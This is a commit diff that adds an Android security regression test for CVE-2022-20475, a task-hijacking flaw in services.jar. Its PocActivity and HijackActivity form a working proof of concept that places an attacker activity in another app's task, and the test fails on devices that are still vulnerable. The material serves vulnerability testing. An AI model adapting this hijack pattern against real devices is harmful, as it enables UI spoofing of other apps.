CTS test for Android Security b/240663194
Bug: 240663194
Bug: 252853095
Test: Ran the new testcase on android-11.0.0_r2 with/without patch
Change-Id: Iad4436af0ef2b07ad24a2d81f09c938143f3b428
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
new file mode 100644
index 0000000..62d0f16
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20475 extends NonRootSecurityTestCase {
+
+ /**
+ * b/240663194
+ * Vulnerable module : services.jar
+ * Is Play Managed : No
+ */
+ @AsbSecurityTest(cveBugId = 240663194)
+ @Test
+ public void testPocCVE_2022_20475() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2022_20475_test";
+ ITestDevice device = getDevice();
+
+ // Install the test and target apps
+ installPackage("CVE-2022-20475-test.apk");
+ installPackage("CVE-2022-20475-target.apk");
+
+ // Wake up the device
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // Run the test "testCVE_2022_20475"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2022_20475");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
new file mode 100644
index 0000000..db55729
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20475-target",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
new file mode 100644
index 0000000..60fb528
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20475_target">
+ <application android:allowTaskReparenting="true">
+ <activity android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
new file mode 100644
index 0000000..c424970
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
new file mode 100644
index 0000000..4b885c6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_target;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+ } catch (Exception ignored) {
+ }
+ }
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+ } catch (Exception ignored) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
new file mode 100644
index 0000000..043de912
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20475-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..2e35b65
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20475_test">
+ <application>
+ <activity android:name=".PocActivity" />
+ <activity android:name=".HijackActivity" />
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20475_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
new file mode 100644
index 0000000..bbeb2c5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="activityTarget">android.security.cts.CVE_2022_20475_target.TargetActivity</string>
+ <string name="pkgTarget">android.security.cts.CVE_2022_20475_target</string>
+ <string name="bcastActionHijack">CVE_2022_20475_HijackActivity</string>
+ <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+ <string name="msgFail">Device is vulnerable to b/240663194 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
new file mode 100644
index 0000000..53e4c3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int WAIT_MS = 5000;
+
+ @Test
+ public void testCVE_2022_20475() {
+ try {
+ // Registering a receiver here to wait for a broadcast from either HijackActivity or
+ // TargetActivity
+ Context context = getApplicationContext();
+ CompletableFuture<Boolean> hijackReturn = new CompletableFuture<>();
+ CompletableFuture<Boolean> targetReturn = new CompletableFuture<>();
+ final String bcastActionHijack = context.getString(R.string.bcastActionHijack);
+ final String bcastActionTarget = context.getString(R.string.bcastActionTarget);
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent.getAction().equals(bcastActionHijack)) {
+ hijackReturn.complete(true);
+ } else if (intent.getAction().equals(bcastActionTarget)) {
+ targetReturn.complete(true);
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(bcastActionHijack);
+ filter.addAction(bcastActionTarget);
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Start PocActivity which in turn starts both TargetActivity and HijackActivity
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+
+ // Waiting on callback from HijackActivity which is started last by PocActivity
+ hijackReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+
+ // Start TargetActivity
+ Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+ final String pkgTarget = context.getString(R.string.pkgTarget);
+ targetIntent.setClassName(pkgTarget, context.getString(R.string.activityTarget));
+ targetIntent.setFlags(
+ Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
+ context.startActivity(targetIntent);
+
+ // Wait on callback from TargetActivity. On vulnerable device, TargetActivity would
+ // not start and HijackActivity would remain on screen so the test should fail due
+ // to timeout on callback.
+ try {
+ targetReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+ } catch (TimeoutException e) {
+ throw new AssertionError(context.getString(R.string.msgFail));
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
new file mode 100644
index 0000000..8ac03f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class HijackActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ sendBroadcast(new Intent(getString(R.string.bcastActionHijack)));
+ } catch (Exception ignored) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
new file mode 100644
index 0000000..e1968a4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ // Start TargetActivity
+ Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+ targetIntent.setClassName(getString(R.string.pkgTarget),
+ getString(R.string.activityTarget));
+ startActivity(targetIntent);
+
+ // Start HijackActivity. On vulnerable device, this will be parented by the task
+ // android.security.cts.CVE_2022_20475_target
+ startActivity(new Intent(this, HijackActivity.class));
+ } catch (Exception ignored) {
+ }
+ }
+}
